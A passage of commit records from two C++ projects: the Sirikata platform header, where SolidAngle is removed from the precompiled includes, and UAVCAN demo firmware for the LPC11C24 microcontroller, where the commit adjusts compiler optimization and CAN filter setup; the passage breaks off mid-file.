__declspec(dllexport) # else # define SIRIKATA_FUNCTION_EXPORT __declspec(dllimport) # endif # endif # else # define SIRIKATA_FUNCTION_EXPORT # endif #endif #ifndef SIRIKATA_EXPORT_C # define SIRIKATA_EXPORT_C extern "C" SIRIKATA_EXPORT #endif #ifndef SIRIKATA_PLUGIN_EXPORT_C # define SIRIKATA_PLUGIN_EXPORT_C extern "C" SIRIKATA_PLUGIN_EXPORT #endif #ifdef __GLIBC__ # include <endian.h> # define SIRIKATA_LITTLE_ENDIAN __LITTLE_ENDIAN # define SIRIKATA_BIG_ENDIAN __BIG_ENDIAN # define SIRIKATA_BYTE_ORDER __BYTE_ORDER #elif defined(__APPLE__) || defined(MACOSX) || defined(BSD) || defined(__FreeBSD__) # include<machine/endian.h> # ifdef BYTE_ORDER # define SIRIKATA_LITTLE_ENDIAN LITTLE_ENDIAN # define SIRIKATA_BIG_ENDIAN BIG_ENDIAN # define SIRIKATA_BYTE_ORDER BYTE_ORDER # else # error "MACINTOSH DOES NOT DEFINE ENDIANNESS" # endif #else # define SIRIKATA_LITTLE_ENDIAN 1234 # define SIRIKATA_BIG_ENDIAN 4321 # ifdef _BIG_ENDIAN # define SIRIKATA_BYTE_ORDER SIRIKATA_BIG_ENDIAN # ifdef _LITTLE_ENDIAN # error "BOTH little and big endian defined" # endif # else # ifdef _LITTLE_ENDIAN # define SIRIKATA_BYTE_ORDER SIRIKATA_LITTLE_ENDIAN # elif defined(__sparc) || defined(__sparc__) \ || defined(_POWER) || defined(__powerpc__) \ || defined(__ppc__) || defined(__hpux) \ || defined(_MIPSEB) || defined(_POWER) \ || defined(__s390__) # define SIRIKATA_BYTE_ORDER SIRIKATA_BIG_ENDIAN # elif defined(__i386__) || defined(__alpha__) \ || defined(__ia64) || defined(__ia64__) \ || defined(_M_IX86) || defined(_M_IA64) \ || defined(_M_ALPHA) || defined(__amd64) \ || defined(__amd64__) || defined(_M_AMD64) \ || defined(__x86_64) || defined(__x86_64__) \ || defined(_M_X64) # define SIRIKATA_BYTE_ORDER SIRIKATA_LITTLE_ENDIAN # else # error "Not a known CPU type" # endif # endif #endif #if SIRIKATA_PLATFORM == PLATFORM_WINDOWS #ifndef NOMINMAX #define NOMINMAX #endif #define WIN32_LEAN_AND_MEAN #include <windows.h> //need to get rid of GetMessage for protocol buffer compatibility #undef GetMessage #endif #include <assert.h> #include <cstddef> #include <cstring> #include <cmath> #include <fstream> #include <iostream> #include <string> #include <sstream> #include <vector> #include <list> #include <queue> #include <deque> #include <set> #include <map> #include <algorithm> #ifdef __GNUC__ // Required for OGRE. #if (__GNUC__ == 4 && __GNUC_MINOR__ >= 3) || __GNUC__ > 4 #define BOOST_HAS_GCC_TR1 // #include_next is broken: it does not search default include paths! #define BOOST_TR1_DISABLE_INCLUDE_NEXT // config_all.hpp reads this variable, then sets BOOST_HAS_INCLUDE_NEXT anyway #include <boost/tr1/detail/config_all.hpp> #ifdef BOOST_HAS_INCLUDE_NEXT // This behavior has existed since boost 1.34, unlikely to change. #undef BOOST_HAS_INCLUDE_NEXT #endif #endif #endif #include <boost/tr1/memory.hpp> #include <boost/tr1/array.hpp> #include <boost/tr1/functional.hpp> #include <boost/tr1/unordered_set.hpp> #include <boost/tr1/unordered_map.hpp> namespace Sirikata { // numeric typedefs to get standardized types typedef unsigned char uchar; #if SIRIKATA_PLATFORM == PLATFORM_WINDOWS #ifndef NOMINMAX #define NOMINMAX #endif typedef __int8 int8; typedef unsigned __int8 uint8; typedef __int16 int16; typedef unsigned __int16 uint16; typedef __int32 int32; typedef unsigned __int32 uint32; typedef __int64 int64; typedef unsigned __int64 uint64; #else # include <stdint.h> typedef int8_t int8; typedef uint8_t uint8; typedef int16_t int16; typedef uint16_t uint16; typedef int32_t int32; typedef uint32_t uint32; typedef int64_t int64; typedef uint64_t uint64; #endif typedef float float32; typedef double float64; typedef uchar byte; typedef std::string String; typedef std::vector<uint8> MemoryBuffer; namespace Network { class IOService; class Stream; class Address; typedef std::vector<uint8> Chunk; } #ifdef NDEBUG class ThreadIdCheck{}; #else class ThreadIdCheck { public: unsigned int mThreadId; }; #endif class RoutableMessageHeader; class RoutableMessage; class RoutableMessageBody; } // namespace Sirikata #include "MemoryReference.hpp" #include "MessageService.hpp" #include "TotallyOrdered.hpp" #include "Singleton.hpp" #include "Factory.hpp" #include "Vector2.hpp" #include "Vector3.hpp" #include "Vector4.hpp" #include "Matrix3x3.hpp" #include "Quaternion.hpp" #include "SolidAngle.hpp" #include "SelfWeakPtr.hpp" #include "Noncopyable.hpp" #include "Array.hpp" #include "options/OptionValue.hpp" #include "Logging.hpp" #include "Location.hpp" #include "VInt.hpp" namespace Sirikata { template<class T>T*aligned_malloc(size_t num_bytes, const unsigned char alignment) { unsigned char *data=(unsigned char*)malloc(num_bytes+alignment); if (data!=NULL) { size_t remainder=((size_t)data)%alignment; size_t offset=alignment-remainder; data+=offset; data[-1]=offset; return (T*)(data); } return (T*)NULL; } template<class T>T*aligned_new(const unsigned char alignment) { return aligned_malloc<T>(sizeof(T),alignment); } template<class T> void aligned_free(T* data) { if (data!=NULL) { unsigned char *bloc=(unsigned char*)data; unsigned char offset=bloc[-1]; free(bloc-offset); } } namespace Task { class LocalTime; class DeltaTime; } class Time; typedef Task::DeltaTime Duration; typedef Vector2<float32> Vector2f; typedef Vector2<float64> Vector2d; typedef Vector3<float32> Vector3f; typedef Vector3<float64> Vector3d; typedef Vector4<float32> Vector4f; typedef Vector4<float64> Vector4d; typedef VInt<uint32> vuint32; typedef VInt<uint64> vuint64; using std::tr1::placeholders::_1; using std::tr1::placeholders::_2; using std::tr1::placeholders::_3; using std::tr1::placeholders::_4; using std::tr1::placeholders::_5; using std::tr1::placeholders::_6; using std::tr1::placeholders::_7; using std::tr1::placeholders::_8; using std::tr1::placeholders::_9; } #include "BoundingSphere.hpp" #include "BoundingBox.hpp" namespace Sirikata { typedef BoundingBox<float32> BoundingBox3f3f; typedef BoundingBox<float64> BoundingBox3d3f; typedef BoundingSphere<float32> BoundingSphere3f; typedef BoundingSphere<float64> BoundingSphere3d; } #if 0 template class std::tr1::unordered_map<Sirikata::int32, Sirikata::int32>; template class std::tr1::unordered_map<Sirikata::uint32, Sirikata::uint32>; template class std::tr1::unordered_map<Sirikata::uint64, Sirikata::uint64>; template class std::tr1::unordered_map<Sirikata::int64, Sirikata::int64>; template class std::tr1::unordered_map<Sirikata::String, Sirikata::String>; template class std::tr1::unordered_map<Sirikata::int32, void*>; template class std::tr1::unordered_map<Sirikata::uint32, void*>; template class std::tr1::unordered_map<Sirikata::uint64, void*>; template class std::tr1::unordered_map<Sirikata::int64, void*>; template class std::tr1::unordered_map<Sirikata::String, void*>; template class std::map<Sirikata::int32, Sirikata::int32>; template class std::map<Sirikata::uint32, Sirikata::uint32>; template class std::map<Sirikata::uint64, Sirikata::uint64>; template class std::map<Sirikata::int64, Sirikata::int64>; template class std::map<Sirikata::String, Sirikata::String>; template class std::map<Sirikata::int32, void*>; template class std::map<Sirikata::uint32, void*>; template class std::map<Sirikata::uint64, void*>; template class std::map<Sirikata::int64, void*>; template class std::map<Sirikata::String, void*>; template class std::vector<Sirikata::String>; template class std::vector<void*>; template class std::vector<Sirikata::int8>; template class std::vector<Sirikata::uint8>; #endif #endif //_SIRIKATA_PLATFORM_HPP_ <commit_msg>Fixing buildbot by removing SolidAngle from .pch<commit_after>/* Sirikata -- Platform Dependent Definitions * Platform.hpp * * Copyright (c) 2009, Ewen Cheslack-Postava and Daniel Reiter Horn * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * Neither the name of Sirikata nor the names of its contributors may * be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef _SIRIKATA_PLATFORM_HPP_ #define _SIRIKATA_PLATFORM_HPP_ #define PLATFORM_WINDOWS 0 #define PLATFORM_LINUX 1 #define PLATFORM_MAC 2 #if defined(__WIN32__) || defined(_WIN32) // disable type needs to have dll-interface to be used byu clients due to STL member variables which are not public #pragma warning (disable: 4251) //disable warning about no suitable definition provided for explicit template instantiation request which seems to have no resolution nor cause any problems #pragma warning (disable: 4661) //disable non dll-interface class used as base for dll-interface class when deriving from singleton #pragma warning (disable : 4275) # define SIRIKATA_PLATFORM PLATFORM_WINDOWS #elif defined(__APPLE_CC__) || defined(__APPLE__) # define SIRIKATA_PLATFORM PLATFORM_MAC # ifndef __MACOSX__ # define __MACOSX__ # endif #else # define SIRIKATA_PLATFORM PLATFORM_LINUX #endif #ifdef NDEBUG #define SIRIKATA_DEBUG 0 #else #define SIRIKATA_DEBUG 1 #endif #ifndef SIRIKATA_EXPORT # if SIRIKATA_PLATFORM == PLATFORM_WINDOWS # if defined(STATIC_LINKED) # define SIRIKATA_EXPORT # else # if defined(SIRIKATA_BUILD) # define SIRIKATA_EXPORT __declspec(dllexport) # else # define SIRIKATA_EXPORT __declspec(dllimport) # endif # endif # define SIRIKATA_PLUGIN_EXPORT __declspec(dllexport) # else # if defined(__GNUC__) && __GNUC__ >= 4 # define SIRIKATA_EXPORT __attribute__ ((visibility("default"))) # define SIRIKATA_PLUGIN_EXPORT __attribute__ ((visibility("default"))) # else # define SIRIKATA_EXPORT # define SIRIKATA_PLUGIN_EXPORT # endif # endif #endif #ifndef SIRIKATA_FUNCTION_EXPORT # if SIRIKATA_PLATFORM == PLATFORM_WINDOWS # if defined(STATIC_LINKED) # define SIRIKATA_FUNCTION_EXPORT # else # if defined(SIRIKATA_BUILD) # define SIRIKATA_FUNCTION_EXPORT __declspec(dllexport) # else # define SIRIKATA_FUNCTION_EXPORT __declspec(dllimport) # endif # endif # else # define SIRIKATA_FUNCTION_EXPORT # endif #endif #ifndef SIRIKATA_EXPORT_C # define SIRIKATA_EXPORT_C extern "C" SIRIKATA_EXPORT #endif #ifndef SIRIKATA_PLUGIN_EXPORT_C # define SIRIKATA_PLUGIN_EXPORT_C extern "C" SIRIKATA_PLUGIN_EXPORT #endif #ifdef __GLIBC__ # include <endian.h> # define SIRIKATA_LITTLE_ENDIAN __LITTLE_ENDIAN # define SIRIKATA_BIG_ENDIAN __BIG_ENDIAN # define SIRIKATA_BYTE_ORDER __BYTE_ORDER #elif defined(__APPLE__) || defined(MACOSX) || defined(BSD) || defined(__FreeBSD__) # include<machine/endian.h> # ifdef BYTE_ORDER # define SIRIKATA_LITTLE_ENDIAN LITTLE_ENDIAN # define SIRIKATA_BIG_ENDIAN BIG_ENDIAN # define SIRIKATA_BYTE_ORDER BYTE_ORDER # else # error "MACINTOSH DOES NOT DEFINE ENDIANNESS" # endif #else # define SIRIKATA_LITTLE_ENDIAN 1234 # define SIRIKATA_BIG_ENDIAN 4321 # ifdef _BIG_ENDIAN # define SIRIKATA_BYTE_ORDER SIRIKATA_BIG_ENDIAN # ifdef _LITTLE_ENDIAN # error "BOTH little and big endian defined" # endif # else # ifdef _LITTLE_ENDIAN # define SIRIKATA_BYTE_ORDER SIRIKATA_LITTLE_ENDIAN # elif defined(__sparc) || defined(__sparc__) \ || defined(_POWER) || defined(__powerpc__) \ || defined(__ppc__) || defined(__hpux) \ || defined(_MIPSEB) || defined(_POWER) \ || defined(__s390__) # define SIRIKATA_BYTE_ORDER SIRIKATA_BIG_ENDIAN # elif defined(__i386__) || defined(__alpha__) \ || defined(__ia64) || defined(__ia64__) \ || defined(_M_IX86) || defined(_M_IA64) \ || defined(_M_ALPHA) || defined(__amd64) \ || defined(__amd64__) || defined(_M_AMD64) \ || defined(__x86_64) || defined(__x86_64__) \ || defined(_M_X64) # define SIRIKATA_BYTE_ORDER SIRIKATA_LITTLE_ENDIAN # else # error "Not a known CPU type" # endif # endif #endif #if SIRIKATA_PLATFORM == PLATFORM_WINDOWS #ifndef NOMINMAX #define NOMINMAX #endif #define WIN32_LEAN_AND_MEAN #include <windows.h> //need to get rid of GetMessage for protocol buffer compatibility #undef GetMessage #endif #include <assert.h> #include <cstddef> #include <cstring> #include <cmath> #include <fstream> #include <iostream> #include <string> #include <sstream> #include <vector> #include <list> #include <queue> #include <deque> #include <set> #include <map> #include <algorithm> #ifdef __GNUC__ // Required for OGRE. #if (__GNUC__ == 4 && __GNUC_MINOR__ >= 3) || __GNUC__ > 4 #define BOOST_HAS_GCC_TR1 // #include_next is broken: it does not search default include paths! #define BOOST_TR1_DISABLE_INCLUDE_NEXT // config_all.hpp reads this variable, then sets BOOST_HAS_INCLUDE_NEXT anyway #include <boost/tr1/detail/config_all.hpp> #ifdef BOOST_HAS_INCLUDE_NEXT // This behavior has existed since boost 1.34, unlikely to change. #undef BOOST_HAS_INCLUDE_NEXT #endif #endif #endif #include <boost/tr1/memory.hpp> #include <boost/tr1/array.hpp> #include <boost/tr1/functional.hpp> #include <boost/tr1/unordered_set.hpp> #include <boost/tr1/unordered_map.hpp> namespace Sirikata { // numeric typedefs to get standardized types typedef unsigned char uchar; #if SIRIKATA_PLATFORM == PLATFORM_WINDOWS #ifndef NOMINMAX #define NOMINMAX #endif typedef __int8 int8; typedef unsigned __int8 uint8; typedef __int16 int16; typedef unsigned __int16 uint16; typedef __int32 int32; typedef unsigned __int32 uint32; typedef __int64 int64; typedef unsigned __int64 uint64; #else # include <stdint.h> typedef int8_t int8; typedef uint8_t uint8; typedef int16_t int16; typedef uint16_t uint16; typedef int32_t int32; typedef uint32_t uint32; typedef int64_t int64; typedef uint64_t uint64; #endif typedef float float32; typedef double float64; typedef uchar byte; typedef std::string String; typedef std::vector<uint8> MemoryBuffer; namespace Network { class IOService; class Stream; class Address; typedef std::vector<uint8> Chunk; } #ifdef NDEBUG class ThreadIdCheck{}; #else class ThreadIdCheck { public: unsigned int mThreadId; }; #endif class RoutableMessageHeader; class RoutableMessage; class RoutableMessageBody; } // namespace Sirikata #include "MemoryReference.hpp" #include "MessageService.hpp" #include "TotallyOrdered.hpp" #include "Singleton.hpp" #include "Factory.hpp" #include "Vector2.hpp" #include "Vector3.hpp" #include "Vector4.hpp" #include "Matrix3x3.hpp" #include "Quaternion.hpp" #include "SelfWeakPtr.hpp" #include "Noncopyable.hpp" #include "Array.hpp" #include "options/OptionValue.hpp" #include "Logging.hpp" #include "Location.hpp" #include "VInt.hpp" namespace Sirikata { template<class T>T*aligned_malloc(size_t num_bytes, const unsigned char alignment) { unsigned char *data=(unsigned char*)malloc(num_bytes+alignment); if (data!=NULL) { size_t remainder=((size_t)data)%alignment; size_t offset=alignment-remainder; data+=offset; data[-1]=offset; return (T*)(data); } return (T*)NULL; } template<class T>T*aligned_new(const unsigned char alignment) { return aligned_malloc<T>(sizeof(T),alignment); } template<class T> void aligned_free(T* data) { if (data!=NULL) { unsigned char *bloc=(unsigned char*)data; unsigned char offset=bloc[-1]; free(bloc-offset); } } namespace Task { class LocalTime; class DeltaTime; } class Time; typedef Task::DeltaTime Duration; typedef Vector2<float32> Vector2f; typedef Vector2<float64> Vector2d; typedef Vector3<float32> Vector3f; typedef Vector3<float64> Vector3d; typedef Vector4<float32> Vector4f; typedef Vector4<float64> Vector4d; typedef VInt<uint32> vuint32; typedef VInt<uint64> vuint64; using std::tr1::placeholders::_1; using std::tr1::placeholders::_2; using std::tr1::placeholders::_3; using std::tr1::placeholders::_4; using std::tr1::placeholders::_5; using std::tr1::placeholders::_6; using std::tr1::placeholders::_7; using std::tr1::placeholders::_8; using std::tr1::placeholders::_9; } #include "BoundingSphere.hpp" #include "BoundingBox.hpp" namespace Sirikata { typedef BoundingBox<float32> BoundingBox3f3f; typedef BoundingBox<float64> BoundingBox3d3f; typedef BoundingSphere<float32> BoundingSphere3f; typedef BoundingSphere<float64> BoundingSphere3d; } #if 0 template class std::tr1::unordered_map<Sirikata::int32, Sirikata::int32>; template class std::tr1::unordered_map<Sirikata::uint32, Sirikata::uint32>; template class std::tr1::unordered_map<Sirikata::uint64, Sirikata::uint64>; template class std::tr1::unordered_map<Sirikata::int64, Sirikata::int64>; template class std::tr1::unordered_map<Sirikata::String, Sirikata::String>; template class std::tr1::unordered_map<Sirikata::int32, void*>; template class std::tr1::unordered_map<Sirikata::uint32, void*>; template class std::tr1::unordered_map<Sirikata::uint64, void*>; template class std::tr1::unordered_map<Sirikata::int64, void*>; template class std::tr1::unordered_map<Sirikata::String, void*>; template class std::map<Sirikata::int32, Sirikata::int32>; template class std::map<Sirikata::uint32, Sirikata::uint32>; template class std::map<Sirikata::uint64, Sirikata::uint64>; template class std::map<Sirikata::int64, Sirikata::int64>; template class std::map<Sirikata::String, Sirikata::String>; template class std::map<Sirikata::int32, void*>; template class std::map<Sirikata::uint32, void*>; template class std::map<Sirikata::uint64, void*>; template class std::map<Sirikata::int64, void*>; template class std::map<Sirikata::String, void*>; template class std::vector<Sirikata::String>; template class std::vector<void*>; template class std::vector<Sirikata::int8>; template class std::vector<Sirikata::uint8>; #endif #endif //_SIRIKATA_PLATFORM_HPP_ <|endoftext|>
<commit_before>/* * Copyright (C) 2014 Pavel Kirienko <[email protected]> */ #include <cstdio> #include <cstdlib> #include <algorithm> #include <board.hpp> #include <chip.h> #include <uavcan_lpc11c24/uavcan_lpc11c24.hpp> #include <uavcan/protocol/global_time_sync_slave.hpp> #include <uavcan/protocol/dynamic_node_id_client.hpp> #include <uavcan/protocol/logger.hpp> /** * This function re-defines the standard ::rand(), which is used by the class uavcan::DynamicNodeIDClient. * Redefinition is normally not needed, but GCC 4.9 tends to generate broken binaries if it is not redefined. */ int rand() { static int x = 1; x = x * 48271 % 2147483647; return x; } namespace { static constexpr unsigned NodeMemoryPoolSize = 2800; /** * This is a compact, reentrant and thread-safe replacement to standard llto(). * It returns the string by value, no extra storage is needed. */ typename uavcan::MakeString<22>::Type intToString(long long n) { char buf[24] = {}; const short sign = (n < 0) ? -1 : 1; if (sign < 0) { n = -n; } unsigned pos = 0; do { buf[pos++] = char(n % 10 + '0'); } while ((n /= 10) > 0); if (sign < 0) { buf[pos++] = '-'; } buf[pos] = '\0'; for (unsigned i = 0, j = pos - 1U; i < j; i++, j--) { std::swap(buf[i], buf[j]); } return static_cast<const char*>(buf); } uavcan::Node<NodeMemoryPoolSize>& getNode() { static uavcan::Node<NodeMemoryPoolSize> node(uavcan_lpc11c24::CanDriver::instance(), uavcan_lpc11c24::SystemClock::instance()); return node; } uavcan::GlobalTimeSyncSlave& getTimeSyncSlave() { static uavcan::GlobalTimeSyncSlave tss(getNode()); return tss; } uavcan::Logger& getLogger() { static uavcan::Logger logger(getNode()); return logger; } uavcan::NodeID performDynamicNodeIDAllocation() { uavcan::DynamicNodeIDClient client(getNode()); const int client_start_res = client.start(getNode().getHardwareVersion().unique_id); if (client_start_res < 0) { board::die(); } while (!client.isAllocationComplete()) { board::resetWatchdog(); (void)getNode().spin(uavcan::MonotonicDuration::fromMSec(100)); } return client.getAllocatedNodeID(); } #if __GNUC__ __attribute__((noinline, optimize(2))) // Higher optimization breaks the code. #endif void init() { board::resetWatchdog(); board::syslog("Boot\r\n"); board::setErrorLed(false); board::setStatusLed(true); /* * Configuring the clock - this must be done before the CAN controller is initialized */ uavcan_lpc11c24::clock::init(); /* * Configuring the CAN controller */ std::uint32_t bit_rate = 0; while (bit_rate == 0) { board::syslog("CAN auto bitrate...\r\n"); bit_rate = uavcan_lpc11c24::CanDriver::detectBitRate(&board::resetWatchdog); } board::syslog("Bitrate: "); board::syslog(intToString(bit_rate).c_str()); board::syslog("\r\n"); if (uavcan_lpc11c24::CanDriver::instance().init(bit_rate) < 0) { board::die(); } board::syslog("CAN init ok\r\n"); board::resetWatchdog(); /* * Configuring the node */ getNode().setName("org.uavcan.lpc11c24_test"); uavcan::protocol::SoftwareVersion swver; swver.major = FW_VERSION_MAJOR; swver.minor = FW_VERSION_MINOR; swver.vcs_commit = GIT_HASH; swver.optional_field_flags = swver.OPTIONAL_FIELD_FLAG_VCS_COMMIT; getNode().setSoftwareVersion(swver); uavcan::protocol::HardwareVersion hwver; std::uint8_t uid[board::UniqueIDSize] = {}; board::readUniqueID(uid); std::copy(std::begin(uid), std::end(uid), std::begin(hwver.unique_id)); getNode().setHardwareVersion(hwver); board::resetWatchdog(); /* * Starting the node and performing dynamic node ID allocation */ if (getNode().start() < 0) { board::die(); } board::syslog("Node ID allocation...\r\n"); getNode().setNodeID(performDynamicNodeIDAllocation()); board::syslog("Node ID "); board::syslog(intToString(getNode().getNodeID().get()).c_str()); board::syslog("\r\n"); board::resetWatchdog(); /* * Example filter configuration. * Can be removed safely. */ { constexpr unsigned NumFilters = 3; uavcan::CanFilterConfig filters[NumFilters]; // Acepting all service transfers addressed to us filters[0].id = (unsigned(getNode().getNodeID().get()) << 8) | (1U << 7) | uavcan::CanFrame::FlagEFF; filters[0].mask = 0x7F80 | uavcan::CanFrame::FlagEFF; // Accepting time sync messages filters[1].id = (4U << 8) | uavcan::CanFrame::FlagEFF; filters[1].mask = 0xFFFF80 | uavcan::CanFrame::FlagEFF; // Accepting zero CAN ID (just for the sake of testing) filters[2].id = 0 | uavcan::CanFrame::FlagEFF; filters[2].mask = uavcan::CanFrame::MaskExtID | uavcan::CanFrame::FlagEFF; const auto before = uavcan_lpc11c24::clock::getMonotonic(); if (uavcan_lpc11c24::CanDriver::instance().configureFilters(filters, NumFilters) < 0) { board::syslog("Filter init failed\r\n"); board::die(); } const auto duration = uavcan_lpc11c24::clock::getMonotonic() - before; board::syslog("CAN filter configuration took "); board::syslog(intToString(duration.toUSec()).c_str()); board::syslog(" usec\r\n"); } /* * Initializing other libuavcan-related objects */ if (getTimeSyncSlave().start() < 0) { board::die(); } if (getLogger().init() < 0) { board::die(); } getLogger().setLevel(uavcan::protocol::debug::LogLevel::DEBUG); board::resetWatchdog(); } } int main() { init(); getNode().setModeOperational(); uavcan::MonotonicTime prev_log_at; while (true) { const int res = getNode().spin(uavcan::MonotonicDuration::fromMSec(25)); board::setErrorLed(res < 0); board::setStatusLed(uavcan_lpc11c24::CanDriver::instance().hadActivity()); const auto ts = uavcan_lpc11c24::clock::getMonotonic(); if ((ts - prev_log_at).toMSec() >= 1000) { prev_log_at = ts; /* * CAN bus off state monitoring */ if (uavcan_lpc11c24::CanDriver::instance().isInBusOffState()) { board::syslog("CAN BUS OFF\r\n"); } /* * CAN error counter, for debugging purposes */ board::syslog("CAN errors: "); board::syslog(intToString(static_cast<long long>(uavcan_lpc11c24::CanDriver::instance().getErrorCount())).c_str()); board::syslog(" "); board::syslog(intToString(uavcan_lpc11c24::CanDriver::instance().getRxQueueOverflowCount()).c_str()); board::syslog("\r\n"); /* * We don't want to use formatting functions provided by libuavcan because they rely on std::snprintf(), * so we need to construct the message manually: */ uavcan::protocol::debug::LogMessage logmsg; logmsg.level.value = uavcan::protocol::debug::LogLevel::INFO; logmsg.source = "app"; logmsg.text = intToString(uavcan_lpc11c24::clock::getPrevUtcAdjustment().toUSec()).c_str(); (void)getLogger().log(logmsg); } board::resetWatchdog(); } } <commit_msg>LPC11C24 demo optimization<commit_after>/* * Copyright (C) 2014 Pavel Kirienko <[email protected]> */ #include <cstdio> #include <cstdlib> #include <algorithm> #include <board.hpp> #include <chip.h> #include <uavcan_lpc11c24/uavcan_lpc11c24.hpp> #include <uavcan/protocol/global_time_sync_slave.hpp> #include <uavcan/protocol/dynamic_node_id_client.hpp> #include <uavcan/protocol/logger.hpp> /* * GCC 4.9 cannot generate a working binary with higher optimization levels, although * rest of the firmware can be compiled with -Os. * GCC 4.8 and earlier don't work at all on this firmware. */ #if __GNUC__ # pragma GCC optimize 1 #endif /** * This function re-defines the standard ::rand(), which is used by the class uavcan::DynamicNodeIDClient. * Redefinition is normally not needed, but GCC 4.9 tends to generate broken binaries if it is not redefined. */ int rand() { static int x = 1; x = x * 48271 % 2147483647; return x; } namespace { static constexpr unsigned NodeMemoryPoolSize = 2800; /** * This is a compact, reentrant and thread-safe replacement to standard llto(). * It returns the string by value, no extra storage is needed. */ typename uavcan::MakeString<22>::Type intToString(long long n) { char buf[24] = {}; const short sign = (n < 0) ? -1 : 1; if (sign < 0) { n = -n; } unsigned pos = 0; do { buf[pos++] = char(n % 10 + '0'); } while ((n /= 10) > 0); if (sign < 0) { buf[pos++] = '-'; } buf[pos] = '\0'; for (unsigned i = 0, j = pos - 1U; i < j; i++, j--) { std::swap(buf[i], buf[j]); } return static_cast<const char*>(buf); } uavcan::Node<NodeMemoryPoolSize>& getNode() { static uavcan::Node<NodeMemoryPoolSize> node(uavcan_lpc11c24::CanDriver::instance(), uavcan_lpc11c24::SystemClock::instance()); return node; } uavcan::GlobalTimeSyncSlave& getTimeSyncSlave() { static uavcan::GlobalTimeSyncSlave tss(getNode()); return tss; } uavcan::Logger& getLogger() { static uavcan::Logger logger(getNode()); return logger; } uavcan::NodeID performDynamicNodeIDAllocation() { uavcan::DynamicNodeIDClient client(getNode()); const int client_start_res = client.start(getNode().getHardwareVersion().unique_id); if (client_start_res < 0) { board::die(); } while (!client.isAllocationComplete()) { board::resetWatchdog(); (void)getNode().spin(uavcan::MonotonicDuration::fromMSec(100)); } return client.getAllocatedNodeID(); } void init() { board::resetWatchdog(); board::syslog("Boot\r\n"); board::setErrorLed(false); board::setStatusLed(true); /* * Configuring the clock - this must be done before the CAN controller is initialized */ uavcan_lpc11c24::clock::init(); /* * Configuring the CAN controller */ std::uint32_t bit_rate = 0; while (bit_rate == 0) { board::syslog("CAN auto bitrate...\r\n"); bit_rate = uavcan_lpc11c24::CanDriver::detectBitRate(&board::resetWatchdog); } board::syslog("Bitrate: "); board::syslog(intToString(bit_rate).c_str()); board::syslog("\r\n"); if (uavcan_lpc11c24::CanDriver::instance().init(bit_rate) < 0) { board::die(); } board::syslog("CAN init ok\r\n"); board::resetWatchdog(); /* * Configuring the node */ getNode().setName("org.uavcan.lpc11c24_test"); uavcan::protocol::SoftwareVersion swver; swver.major = FW_VERSION_MAJOR; swver.minor = FW_VERSION_MINOR; swver.vcs_commit = GIT_HASH; swver.optional_field_flags = swver.OPTIONAL_FIELD_FLAG_VCS_COMMIT; getNode().setSoftwareVersion(swver); uavcan::protocol::HardwareVersion hwver; std::uint8_t uid[board::UniqueIDSize] = {}; board::readUniqueID(uid); std::copy(std::begin(uid), std::end(uid), std::begin(hwver.unique_id)); getNode().setHardwareVersion(hwver); board::resetWatchdog(); /* * Starting the node and performing dynamic node ID allocation */ if (getNode().start() < 0) { board::die(); } board::syslog("Node ID allocation...\r\n"); getNode().setNodeID(performDynamicNodeIDAllocation()); board::syslog("Node ID "); board::syslog(intToString(getNode().getNodeID().get()).c_str()); board::syslog("\r\n"); board::resetWatchdog(); /* * Example filter configuration. * Can be removed safely. */ { constexpr unsigned NumFilters = 3; uavcan::CanFilterConfig filters[NumFilters]; // Acepting all service transfers addressed to us filters[0].id = (unsigned(getNode().getNodeID().get()) << 8) | (1U << 7) | uavcan::CanFrame::FlagEFF; filters[0].mask = 0x7F80 | uavcan::CanFrame::FlagEFF; // Accepting time sync messages filters[1].id = (4U << 8) | uavcan::CanFrame::FlagEFF; filters[1].mask = 0xFFFF80 | uavcan::CanFrame::FlagEFF; // Accepting zero CAN ID (just for the sake of testing) filters[2].id = 0 | uavcan::CanFrame::FlagEFF; filters[2].mask = uavcan::CanFrame::MaskExtID | uavcan::CanFrame::FlagEFF; if (uavcan_lpc11c24::CanDriver::instance().configureFilters(filters, NumFilters) < 0) { board::syslog("Filter init failed\r\n"); board::die(); } } /* * Initializing other libuavcan-related objects */ if (getTimeSyncSlave().start() < 0) { board::die(); } if (getLogger().init() < 0) { board::die(); } getLogger().setLevel(uavcan::protocol::debug::LogLevel::DEBUG); board::resetWatchdog(); } } int main() { init(); getNode().setModeOperational(); uavcan::MonotonicTime prev_log_at; while (true) { const int res = getNode().spin(uavcan::MonotonicDuration::fromMSec(25)); board::setErrorLed(res < 0); board::setStatusLed(uavcan_lpc11c24::CanDriver::instance().hadActivity()); const auto ts = uavcan_lpc11c24::clock::getMonotonic(); if ((ts - prev_log_at).toMSec() >= 1000) { prev_log_at = ts; /* * CAN bus off state monitoring */ if (uavcan_lpc11c24::CanDriver::instance().isInBusOffState()) { board::syslog("CAN BUS OFF\r\n"); } /* * CAN error counter, for debugging purposes */ board::syslog("CAN errors: "); board::syslog(intToString(static_cast<long long>(uavcan_lpc11c24::CanDriver::instance().getErrorCount())).c_str()); board::syslog(" "); board::syslog(intToString(uavcan_lpc11c24::CanDriver::instance().getRxQueueOverflowCount()).c_str()); board::syslog("\r\n"); /* * We don't want to use formatting functions provided by libuavcan because they rely on std::snprintf(), * so we need to construct the message manually: */ 